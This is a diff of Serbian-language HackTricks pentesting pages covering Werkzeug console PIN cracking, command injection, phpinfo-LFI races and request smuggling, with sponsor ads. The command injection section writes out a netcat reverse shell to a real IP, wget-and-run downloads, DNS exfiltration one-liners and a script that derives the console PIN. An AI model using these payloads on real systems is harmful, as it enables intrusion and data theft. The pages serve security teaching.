<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Console RCE ## Console RCE
Ako je debug aktivan, možete pokušati da pristupite `/console` i dobijete RCE. Ako je debagovanje aktivno, možete pokušati da pristupite `/console` i dobijete RCE.
```python ```python
__import__('os').popen('whoami').read(); __import__('os').popen('whoami').read();
``` ```
@ -31,19 +33,19 @@ __import__('os').popen('whoami').read();
Postoji nekoliko eksploata na internetu kao [ovaj](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedan u metasploit-u. Postoji nekoliko eksploata na internetu kao [ovaj](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedan u metasploit-u.
## Zaštićeno PIN-om - Putanja Prelaz ## Zaštićeno PIN-om - Putanja Traversal
U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **ranjivost prelaza datoteka**, možete da iscurite sve potrebne informacije za generisanje tog PIN-a. U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena PIN-om. Ako imate **vulnerabilnost putanje traversal**, možete leak-ovati sve potrebne informacije za generisanje tog PIN-a.
### Werkzeug Console PIN Eksploit ### Werkzeug Console PIN Eksploit
Prisilite stranicu sa greškom za debagovanje u aplikaciji da biste videli ovo: Prisilite stranicu greške za debagovanje u aplikaciji da biste videli ovo:
``` ```
The console is locked and needs to be unlocked by entering the PIN. The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
shell that runs the server shell that runs the server
``` ```
Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti debug interfejsu Werkzeug-a, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi PIN konzole analizom algoritma za generisanje PIN-a u inicijalizacionom fajlu Werkzeug-a (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se savetuje da se pribavi stvarni kod servera putem ranjivosti u pretraživanju fajlova zbog mogućih razlika u verzijama. Poruka u vezi sa scenarijom "konzola zaključana" se pojavljuje kada se pokušava pristupiti debug interfejsu Werkzeug-a, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se da se iskoristi PIN konzole analizom algoritma za generisanje PIN-a u inicijalizacionom fajlu Werkzeug-a (`__init__.py`). Mehanizam generisanja PIN-a može se proučiti iz [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), iako se savetuje da se pribavi stvarni kod servera putem ranjivosti pretraživanja fajlova zbog mogućih razlika u verzijama.
Da bi se iskoristio PIN konzole, potrebna su dva skupa varijabli, `probably_public_bits` i `private_bits`: Da bi se iskoristio PIN konzole, potrebna su dva skupa varijabli, `probably_public_bits` i `private_bits`:
@ -111,7 +113,7 @@ try:
Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN: Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN:
Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN. Skripta koristi sastavljene `probably_public_bits` i `private_bits` da kreira h, koji zatim prolazi kroz dalju obradu da bi se dobio konačni PIN. Ispod je Python kod za izvršavanje ovog procesa: Kada se prikupe svi potrebni podaci, skripta za eksploataciju može biti izvršena da generiše Werkzeug konzolni PIN. Skripta koristi sastavljene `probably_public_bits` i `private_bits` da kreira hash, koji zatim prolazi kroz dalju obradu da bi se dobio konačni PIN. Ispod je Python kod za izvršavanje ovog procesa:
```python ```python
import hashlib import hashlib
from itertools import chain from itertools import chain
@ -157,7 +159,7 @@ rv = num
print(rv) print(rv)
``` ```
Ovaj skript proizvodi PIN tako što hešira spojene bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za `probably_public_bits` i `private_bits` moraju tačno dobiti iz ciljanog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola. Ovaj skript proizvodi PIN tako što hešira spojene bitove, dodaje specifične soli (`cookiesalt` i `pinsalt`), i formatira izlaz. Važno je napomenuti da se stvarne vrednosti za `probably_public_bits` i `private_bits` moraju tačno dobiti iz ciljnog sistema kako bi se osiguralo da generisani PIN odgovara onom koji očekuje Werkzeug konzola.
{% hint style="success" %} {% hint style="success" %}
Ako ste na **starijoj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1. Ako ste na **starijoj verziji** Werkzeug-a, pokušajte da promenite **heš algoritam na md5** umesto sha1.
@ -167,7 +169,7 @@ Ako ste na **starijoj verziji** Werkzeug-a, pokušajte da promenite **heš algor
Kao što je primećeno u [**ovoj temi**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug ne zatvara zahtev sa Unicode karakterima u header-ima. I kao što je objašnjeno u [**ovoj analizi**](https://mizu.re/post/twisty-python), to može izazvati CL.0 Request Smuggling ranjivost. Kao što je primećeno u [**ovoj temi**](https://github.com/pallets/werkzeug/issues/2833), Werkzeug ne zatvara zahtev sa Unicode karakterima u header-ima. I kao što je objašnjeno u [**ovoj analizi**](https://mizu.re/post/twisty-python), to može izazvati CL.0 Request Smuggling ranjivost.
To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to će uzrokovati **kvar** servera. Međutim, ako je HTTP veza kreirana sa header-om **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će ostati otvorena, tako da će **telo** zahteva biti tretirano kao **sledeći HTTP zahtev**. To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to će uzrokovati **kvar** servera. Međutim, ako je HTTP veza kreirana sa header-om **`Connection: keep-alive`**, telo zahteva neće biti pročitano i veza će ostati otvorena, tako da će se **telo** zahteva tretirati kao **sledeći HTTP zahtev**.
## Automatizovana Eksploatacija ## Automatizovana Eksploatacija
@ -182,7 +184,9 @@ To je zato što je u Werkzeug-u moguće poslati neke **Unicode** karaktere i to
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,22 +17,24 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili vreme da dublje istražuju, otvaraju shell-ove i zabavljaju se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Host header ### Host header
Više puta, back-end veruje **Host header** da izvrši neke radnje. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). Nekoliko puta back-end veruje **Host header** da izvrši neke radnje. Na primer, može koristiti njegovu vrednost kao **domen za slanje resetovanja lozinke**. Tako kada primite email sa linkom za resetovanje lozinke, domen koji se koristi je onaj koji ste stavili u Host header. Tada možete zatražiti resetovanje lozinke drugih korisnika i promeniti domen na onaj koji kontrolišete kako biste ukrali njihove kodove za resetovanje lozinke. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
{% hint style="warning" %} {% hint style="warning" %}
Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da ga analiziraju**. Imajte na umu da je moguće da ne morate ni da čekate da korisnik klikne na link za resetovanje lozinke da biste dobili token, jer možda čak i **spam filteri ili drugi posrednički uređaji/botovi će kliknuti na njega da ga analiziraju**.
{% endhint %} {% endhint %}
### Session booleans ### Sesijske boole
Nekada, kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosni atribut vaše sesije**. Tada će druga tačka znati da ste uspešno prošli tu proveru.\ Nekada kada ispravno završite neku verifikaciju, back-end će **samo dodati boolean sa vrednošću "True" u sigurnosni atribut vaše sesije**. Tada će druga tačka znati da ste uspešno prošli tu proveru.\
Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali za koje **ne biste trebali imati dozvole** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). Međutim, ako **prođete proveru** i vašoj sesiji je dodeljena ta "True" vrednost u sigurnosnom atributu, možete pokušati da **pristupite drugim resursima** koji **zavise od istog atributa** ali kojima **ne biste trebali imati dozvolu** za pristup. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Funkcionalnost registracije ### Funkcionalnost registracije
@ -42,20 +44,22 @@ Pokušajte da se registrujete kao već postojeći korisnik. Pokušajte takođe k
Registrujte email, pre nego što ga potvrdite promenite email, zatim, ako je novi email za potvrdu poslat na prvi registrovani email, možete preuzeti bilo koji email. Ili ako možete omogućiti drugi email koji potvrđuje prvi, takođe možete preuzeti bilo koji nalog. Registrujte email, pre nego što ga potvrdite promenite email, zatim, ako je novi email za potvrdu poslat na prvi registrovani email, možete preuzeti bilo koji email. Ili ako možete omogućiti drugi email koji potvrđuje prvi, takođe možete preuzeti bilo koji nalog.
### Pristup internom servisnom stolu kompanija koje koriste Atlassian ### Pristup internom servisnom stolu kompanija koristeći Atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} {% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
### TRACE metoda ### TRACE metoda
Programeri mogu zaboraviti da onemoguće razne opcije za debagovanje u produkcionom okruženju. Na primer, HTTP `TRACE` metoda je dizajnirana za dijagnostičke svrhe. Ako je omogućena, web server će odgovoriti na zahteve koji koriste `TRACE` metodu tako što će u odgovoru ponoviti tačan zahtev koji je primljen. Ovo ponašanje je često bezopasno, ali povremeno dovodi do otkrivanja informacija, kao što su imena internih autentifikacionih zaglavlja koja mogu biti dodata zahtevima od strane reverznih proksija.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20) Programeri mogu zaboraviti da onemoguće razne opcije za debagovanje u produkcionom okruženju. Na primer, HTTP `TRACE` metoda je dizajnirana za dijagnostičke svrhe. Ako je omogućena, web server će odgovoriti na zahteve koji koriste `TRACE` metodu tako što će u odgovoru ponoviti tačan zahtev koji je primljen. Ovo ponašanje je često bezopasno, ali povremeno dovodi do otkrivanja informacija, kao što su imena internih autentifikacionih zaglavlja koja mogu biti dodata zahtevima od strane obrnjenih proksija.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png) ![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili vreme da dublje istražuju, otvaraju shell-ove i zabavljaju se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -15,16 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ #### Get a hacker's perspective on your web apps, network, and cloud
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
## Šta je command injection? {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
**Command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom. ## Šta je command Injection?
A **command injection** omogućava izvršavanje proizvoljnih komandi operativnog sistema od strane napadača na serveru koji hostuje aplikaciju. Kao rezultat, aplikacija i svi njeni podaci mogu biti potpuno kompromitovani. Izvršavanje ovih komandi obično omogućava napadaču da dobije neovlašćen pristup ili kontrolu nad okruženjem aplikacije i osnovnim sistemom.
### Kontekst ### Kontekst
@ -49,15 +50,15 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file > /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command < /etc/passwd #Try to send some input to the command
``` ```
### **Limitation** Bypasses ### **Obilaženje** Ograničenja
Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Bypasses:** Ako pokušavate da izvršite **arbitrarne komande unutar linux mašine** biće vam zanimljivo da pročitate o ovim **Obilaženjima:**
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} {% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/) [bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
{% endcontent-ref %} {% endcontent-ref %}
### **Primjeri** ### **Primeri**
``` ```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80 vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -65,7 +66,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### Parameters ### Parameters
Evo 25 najvažnijih parametara koji bi mogli biti podložni kod injekciji i sličnim RCE ranjivostima (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)): Evo 25 najvažnijih parametara koji bi mogli biti podložni injekciji koda i sličnim RCE ranjivostima (iz [link](https://twitter.com/trbughunters/status/1283133356922884096)):
``` ```
?cmd={payload} ?cmd={payload}
?exec={payload} ?exec={payload}
@ -93,7 +94,7 @@ Evo 25 najvažnijih parametara koji bi mogli biti podložni kod injekciji i sli
?run={payload} ?run={payload}
?print={payload} ?print={payload}
``` ```
### Time based data exfiltration ### Ekstrakcija podataka zasnovana na vremenu
Ekstrakcija podataka: znak po znak Ekstrakcija podataka: znak po znak
``` ```
@ -119,7 +120,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
Online alati za proveru DNS zasnovanog exfiltracije podataka: Online alati za proveru DNS zasnovanog ekfiltriranja podataka:
* dnsbin.zhack.ca * dnsbin.zhack.ca
* pingb.in * pingb.in
@ -161,10 +162,10 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
\ #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice na svetu.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} **Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -13,6 +13,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file\_uploads = on" i server mora moći da piše u direktorijum "/tmp".** Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file\_uploads = on" i server mora moći da piše u direktorijum "/tmp".**
@ -20,7 +28,7 @@ Da biste iskoristili ovu ranjivost, potrebni su vam: **LFI ranjivost, stranica n
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s) **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
Morate da ispravite exploit (promenite **=>** u **=>**). Da biste to uradili, možete: Morate da ispravite eksploataciju (promenite **=>** u **=>**). Da biste to uradili, možete:
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
``` ```
@ -36,11 +44,11 @@ Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogo
U **Windows-u** fajlovi se obično čuvaju u **C:\Windows\temp\php** U **Windows-u** fajlovi se obično čuvaju u **C:\Windows\temp\php**
U **linux-u** ime fajla obično je **random** i nalazi se u **/tmp**. Pošto je ime nasumično, potrebno je **izvući ime privremenog fajla** iz nekog izvora i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti **varijable $\_FILES** unutar sadržaja funkcije "**phpconfig()**". U **linux-u** ime fajla obično je **nasumično** i nalazi se u **/tmp**. Pošto je ime nasumično, potrebno je **izvući negde ime privremenog fajla** i pristupiti mu pre nego što bude obrisan. To se može uraditi čitanjem vrednosti **varijable $\_FILES** unutar sadržaja funkcije "**phpconfig()**".
**phpinfo()** **phpinfo()**
**PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **mnogo velikih zahteva** (koristeći velike header-e) **uploadujući php** reverznu **shell**, čekati da se **prvi deo phpinfo() vrati** (gde je ime privremenog fajla) i pokušati da **pristupi temp fajlu** pre nego što php server obriše fajl iskorišćavajući LFI ranjivost. **PHP** koristi bafer od **4096B** i kada je **pun**, on se **šalje klijentu**. Zatim klijent može **slati** **mnogo velikih zahteva** (koristeći velike heder-e) **uploadujući php** reverznu **ljusku**, čekati da **prvi deo phpinfo() bude vraćen** (gde je ime privremenog fajla) i pokušati da **pristupi privremenom fajlu** pre nego što php server obriše fajl iskorišćavajući LFI ranjivost.
**Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)** **Python skripta za pokušaj bruteforce-a imena (ako je dužina = 6)**
```python ```python
@ -64,6 +72,14 @@ sys.exit(0)
print('[x] Something went wrong, please try again') print('[x] Something went wrong, please try again')
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,48 +15,56 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Šta je ## Šta je
Ova ranjivost se javlja kada **desinkronizacija** između **frontalnih proksija** i **pozadinskog** servera omogućava **napadaču** da **pošalje** HTTP **zahtev** koji će biti **tumačen** kao **jedan zahtev** od strane **frontalnih** proksija (load balance/reverse-proxy) i **kao 2 zahteva** od strane **pozadinskog** servera.\ Ova ranjivost se javlja kada **desinkronizacija** između **front-end proxy** i **back-end** servera omogućava **napadaču** da **pošalje** HTTP **zahtev** koji će biti **tumačen** kao **jedan zahtev** od strane **front-end** proxy-a (load balance/reverse-proxy) i **kao 2 zahteva** od strane **back-end** servera.\
To omogućava korisniku da **modifikuje sledeći zahtev koji stigne do pozadinskog servera nakon njegovog**. To omogućava korisniku da **modifikuje sledeći zahtev koji stigne do back-end servera nakon njegovog**.
### Teorija ### Teorija
[**RFC Specifikacija (2161)**](https://tools.ietf.org/html/rfc2616) [**RFC Specifikacija (2161)**](https://tools.ietf.org/html/rfc2616)
> Ako je poruka primljena sa oba, Transfer-Encoding header polje i Content-Length header polje, potonje MORA biti ignorisano. > Ako je poruka primljena sa oba, Transfer-Encoding zaglavlje i Content-Length zaglavlje, potonje MORA biti ignorisano.
**Content-Length** **Content-Length**
> Content-Length entitetski header označava veličinu entitetskog tela, u bajtovima, poslatog primaocu. > Content-Length entitetsko zaglavlje označava veličinu entitetskog tela, u bajtovima, poslatog primaocu.
**Transfer-Encoding: chunked** **Transfer-Encoding: chunked**
> Transfer-Encoding header specificira oblik kodiranja koji se koristi za sigurno prenošenje sadržaja korisniku.\ > Transfer-Encoding zaglavlje specificira oblik kodiranja koji se koristi za sigurno prenošenje sadržaja korisniku.\
> Chunked znači da se veliki podaci šalju u seriji delova. > Chunked znači da se veliki podaci šalju u seriji delova.
### Stvarnost ### Stvarnost
**Frontalni** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ header, a **pozadinski** server **obrađuje drugi** izazivajući **desinkronizaciju** između 2 sistema.\ **Front-End** (load-balance / Reverse Proxy) **obrađuje** _**content-length**_ ili _**transfer-encoding**_ zaglavlje, a **Back-end** server **obrađuje drugo**, izazivajući **desinkronizaciju** između 2 sistema.\
